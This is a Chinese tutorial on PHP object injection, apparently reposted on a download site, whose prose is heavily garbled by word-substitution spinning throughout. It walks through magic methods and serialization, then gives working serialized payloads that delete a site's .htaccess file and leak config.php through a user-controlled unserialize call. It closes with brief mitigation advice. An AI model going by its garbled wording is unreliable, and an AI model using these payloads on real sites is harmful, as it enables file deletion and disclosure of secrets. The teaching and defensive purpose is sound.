新蒲京200.c软件下载-app官网网址 > 问答 >

类和变量是特别轻易驾驭的php概念

0×00 背景

PHP对象注入是三个百般广阔的错误疏失,这些类其他尾巴尽管有一些难言之隐使用,但依然特别危急,为了知道那个漏洞,请读者具有根底的php知识。

0×01 漏洞案例

一旦您认为那是个渣渣洞,那么请看一眼那几个列表,一些被审计狗挖到过该漏洞的种类,你能够窥见都以一些熟练的实物(就海外的话)

WordPress 3.6.1

Magento 1.9.0.1

Joomla 3.0.3

Ip board 3.3.5

除开等等一群系统,五分之四或者大致在此些还恐怕有其余的php程序中还应该有大多这类别型的纰漏,所以无妨虚构坐下喝杯咖啡何况试着去领略那篇小说。

图片 1

0×01 PHP类和对象

类和变量是极度轻便了然的php概念,打个例如,上面包车型大巴代码在贰个类中定义了叁个变量和三个格局。

<?php

class TestClass
{
    // A variable

    public $variable = 'This is a string';

    // A simple method

    public function PrintVariable()
    {
        echo $this->variable;
    }
}

// Create an object

$object = new TestClass();

// Call a method

$object->PrintVariable();

?>

它创设了四个对象况兼调用了 PrintVariable 函数,该函数会输出变量 variable。

纵然想打听更加的多关于php面向对象编制程序的学识 请点:

0×02 php Magic方法

php类恐怕会包蕴部分异样的函数叫magic函数,magic函数命名是以符号“__”开头的,比如 __construct, __destruct, __toString, __sleep, __wakeup 和别的的一部分东西。

这一个函数在少数处境下会活动调用,比如:

__construct 当二个目的成立时调用 (constructorState of Qatar __destruct 当四个对象被灭亡时调用 (destructorState of Qatar __ toString当一个指标被当做叁个字符串使用

为了越来越好的驾驭magic方法是什么样行事的,让我们抬高叁个magic方法在大家的类中。

<?php
    class TestClass
    {
    // 一个变量public $variable = 'This is a string';// 一个简单的方法

    public function PrintVariable()
    {
    echo $this->variable . '<br />';
    }

    // Constructor

    public function __construct()
    {
    echo '__construct <br />';
    }

    // Destructor

    public function __destruct()
    {
    echo '__destruct <br />';
    }

    // Call

    public function __toString()
    {
    return '__toString<br />';
    }
    }

    // 创建一个对象
    // __construct会被调用

    $object = new TestClass();

    // 创建一个方法
    // 'This is a string’ 这玩意会被输出

    $object->PrintVariable();

    // 对象被当作一个字符串
    // __toString 会被调用

    echo $object;

    // End of PHP script
    // php脚本要结束了, __destruct会被调用

    ?>

我们往里头放了八个 magic方法,__construct, __destruct和 __toString,你能够看出来,__construct在对象创制时调用, __destruct在php脚本截至时调用,__toString在目的被看成二个字符串使用时调用。

其一脚本会输出那狗样:

__construct 
This is a string 
__toString 
__destruct

那只是一个简易的例子,假设您想询问越多关于magic函数的例证,请点击链接

0×03 php对象连串化

php允许保留三个对象方便今后重用,这几个历程被叫做体系化,打个例如,你能够保存几个带有着客商新闻的靶子方便等等重用。

为了体系化一个目的,你须要调用 “serialize”函数,函数会再次回到三个字符串,当您要求用到那么些指标的时候能够利用“unserialize”去重新创设对象。

让我们在体系化丢进那一个例子,看看种类化张什么样。

<?php
// 某类class User
{
// 类数据public $age = 0;
public $name = '';

// 输出数据

public function PrintData()
{
echo 'User ' . $this->name . ' is ' . $this->age
. ' years old. <br />';
}
}

// 创建一个对象

$usr = new User();

// 设置数据

$usr->age = 20;
$usr->name = 'John';

// 输出数据

$usr->PrintData();

// 输出序列化之后的数据

echo serialize($usr);

?>

它会输出

User John is 20 years old. 
O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}

你可以见见类别化之后的数据中 有 20和平条John,此中未有别的跟类有关的事物,唯有内部的数目被数据化。

为了利用那一个指标,大家用unserialize重新建立对象。

<?php// 某类class User
{
// Class datapublic $age = 0;
public $name = '';

// Print data

public function PrintData()
{
echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
}
}

// 重建对象

$usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');

// 调用PrintData 输出数据

$usr->PrintData();

?>

着会输出

User John is 20 years old

0×04 序列化magic函数

magic函数constructor (__construct)和 destructor (__destruct卡塔尔(قطر‎是会在对象创造或然消逝时自动调用,其余的一些magic函数会在serialize 或者unserialize的时候被调用。

__sleep magic方法在多个指标被种类化的时候调用。 __wakeup magic方法在叁个对象被反类别化的时候调用。

注意 __sleep 必得重临三个数组与种类化的变量名。

<?php
class Test
{
public $variable = 'BUZZ';
public $variable2 = 'OTHER';public function PrintVariable()
{
echo $this->variable . '<br />';
}public function __construct()
{
echo '__construct<br />';
}

public function __destruct()
{
echo '__destruct<br />';
}

public function __wakeup()
{
echo '__wakeup<br />';
}

public function __sleep()
{
echo '__sleep<br />';

return array('variable', 'variable2');
}
}

// 创建一个对象,会调用 __construct

$obj = new Test();

// 序列化一个对象,会调用 __sleep

$serialized = serialize($obj);

//输出序列化后的字符串

print 'Serialized: ' . $serialized . <br />';

// 重建对象,会调用 __wakeup

$obj2 = unserialize($serialized);

//调用 PintVariable, 会输出数据 (BUZZ)

$obj2->PrintVariable();

// php脚本结束,会调用 __destruct

?>

这玩意会输出:

__construct 
__sleep 
Serialized: O:4:"Test":2:
{s:8:"variable";s:4:"BUZZ";s:9:"variable2";s:5:"OTHER";} 
__wakeup 
BUZZ 
__destruct 
__destruct

您能够看来,我们创制了三个对象,类别化了它(然后__sleep被调用),之后用类别化对象重新建立后的目的创造了另一个指标,接着php脚本甘休的时候五个对象的__destruct都会被调用。

0×05 php对象注入

最近大家领略了体系化是什么行事的,大家该怎么利用它?事实上,利用这厮的大概有广大种,关键在于应用程序的流水生产线与,可用的类,与magic函数。

深深记住种类化对象的值是可控的。

你大概会找到一套web程序的源代码,个中有个别类的__wakeup 或者 __destruct and别的手忙脚乱的函数会潜濡默化到web程序。

打个譬如,大家大概会找到三个类用于一时将日志积攒进某些文件,当__destruct被调用时,日志文件会被删除。然后代码张那狗样。

public function LogData($text) { 
    echo 'Log some data: ' . $text . '<br />'; 
    file_put_contents($this->filename, $text, FILE_APPEND); 
} 
// Destructor 删除日志文件 
public function __destruct() { 
    echo '__destruct deletes "' . $this->filename . '" file. <br />'; unlink(dirname(__FILE__) . '/' . $this->filename);
} 
} ?>

某例子关于什么行使那些类

<?php
include 'logfile.php';// 创建一个对象$obj = new LogFile();

// 设置文件名和要储存的日志数据

$obj->filename = 'somefile.log';
$obj->LogData('Test');

// php脚本结束啦,__destruct被调用,somefile.log文件被删除。

?>

在其余的脚本,大家只怕又刚刚找到三个调用“unserialize”函数的,並且刚刚变量是客户可控的,又恰巧是$_GET之类的如何玩意儿的。

著作权归作者所有。
商业转载请联系作者获得授权,非商业转载请注明出处。
作者:Wujunze
链接:https://wujunze.com/php_class_inject.jsp?hmsr=toutiao.io&utm_medium=toutiao.io&utm_source=toutiao.io
来源:wujunze.com

<?php
include 'logfile.php';// ... 一些狗日的代码和 LogFile 类 ...// 简单的类定义

class User
{
// 类数据

public $age = 0;
public $name = '';

// 输出数据

public function PrintData()
{
echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
}
}

// 重建 用户输入的 数据

$usr = unserialize($_GET['usr_serialized']);

?>

你看,那些代码调用了 “LogClass” 类,而且有八个 “unserialize” 值是大家能够注入的。

故此组织相像那样的东西:

script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}

毕竟发生了哪些吧,因为输入是可控的,所以大家得以社团肆意的类别化对象,比方:

<?php$obj = new LogFile();
$obj->filename = '.htaccess';echo serialize($obj) . '<br />';?>

以此会输出

O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess";} 
__destruct deletes ".htaccess" file.

今昔大家将协会过后的系列化对象发送给刚才的台本:

script.php?usr_serialized=O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess”;}

那会输出

__destruct deletes ".htaccess" file.

方今 .htaccess 已经被干掉了,因为脚本甘休时 __destruct会被调用。然而我们曾经足以操纵“LogFile”类的变量啦。

那正是漏洞名称的缘由:变量可控并且开展了unserialize操作之处注入类别化对象,实今世码试行只怕其余坑爹的一坐一起。

即使如此那不是多少个很好的事例,但是笔者信赖你能够领略那些定义,unserialize自动调用 __wakeup 和 __destruct,接着攻击者能够垄断(monopoly卡塔尔国类变量,而且攻击web程序。

0×06 千千万万的注入点

先不谈 __wakeup 和 __destruct,还也是有一部分很宽泛的注入点允许你接受这几个项目标狐狸尾巴,一切都以决计于程序逻辑。

打个借使,某顾客类定义了一个__toString为了让应用程序能够将类作为二个字符串输出(echo $obj) ,何况别的类也说不许定义了八个类允许__toString读取某些文件。

<?php
// … 一些include ...class FileClass
{
// 文件名public $filename = 'error.log';

//当对象被作为一个字符串会读取这个文件

public function __toString()
{
return file_get_contents($this->filename);
}
}

// Main User class

class User
{
// Class data

public $age = 0;
public $name = '';

// 允许对象作为一个字符串输出上面的data

public function __toString()
{
return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
}
}

// 用户可控

$obj = unserialize($_GET['usr_serialized']);

// 输出 __toString

echo $obj;

?>

so,大家协会url

script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}

再动脑筋,假若大家用体系化调用 FileClass呢

大家创立利用代码

<?php$fileobj = new FileClass();
$fileobj->filename = 'config.php';echo serialize($fileobj);?>

随着用调换的exp注入url

script.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:10:"config.php”;}

随即网页会输出 config.php的源代码

<?php$private_data = 'MAGIC';?>

ps:小编期待那让您能够清楚。

0×07 别的的行使格局

莫不其余的部分magic函数海存在利用点:比方__call 会在对象调用空中楼阁的函数时调用,__get 和 __set会在指标尝试访谈一些空头支票的类,变量等等时调用。

不过须要留意的是,利用情况不限于magic函数,也可能有一部分艺术可以在八分之四的函数中选拔这么些漏洞,打个若是,叁个模块大概定义了贰个叫get的函数举香港行政局地乖巧的操作,举个例子访谈数据库,那就恐怕产生sql注入,决意于函数本人的操作。

独一的多少个手艺难点在于,注入的类必需在注入点所在的地点,不过有些模块恐怕脚本会选用“autoload”的效应,具体能够在那驾驭

0×08 怎样行使或许制止这些漏洞

别在此外客商可控的地方使用“unserialize”,可以设想“json_decode“

0×09 结论

虽说很难找到并且很难利用,可是那诚然真的很要紧,能够产生形形色色的狐狸尾巴。

上一篇:付费投稿布置
下一篇:没有了